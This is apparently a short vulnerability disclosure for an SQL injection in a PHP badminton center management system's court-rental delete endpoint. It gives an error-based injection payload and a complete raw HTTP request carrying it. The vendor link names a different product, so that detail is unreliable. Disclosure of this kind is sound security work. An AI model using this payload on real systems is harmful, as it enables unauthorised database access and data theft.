badminton-center-management-system has SQL injection vulnerability

vendors: https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source-code.html

Date: 2022-05-06

Vulnerability File: /bcms/classes/Master.php?f=delete_court_rental

Vulnerability location: /bcms/classes/Master.php?f=delete_court_rental, id

[+] Payload: id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

Tested on Windows 10, XAMPP

```
POST /bcms/classes/Master.php?f=delete_court_rental HTTP/1.1
Host: bcms.com
Proxy-Connection: keep-alive
Content-Length: 65
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
```

```
like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://bcms.com
Referer: http://bcms.com/bcms/admin/?page=court_rentals
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4gth9auqof3f53e4gedjm3dct2

id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```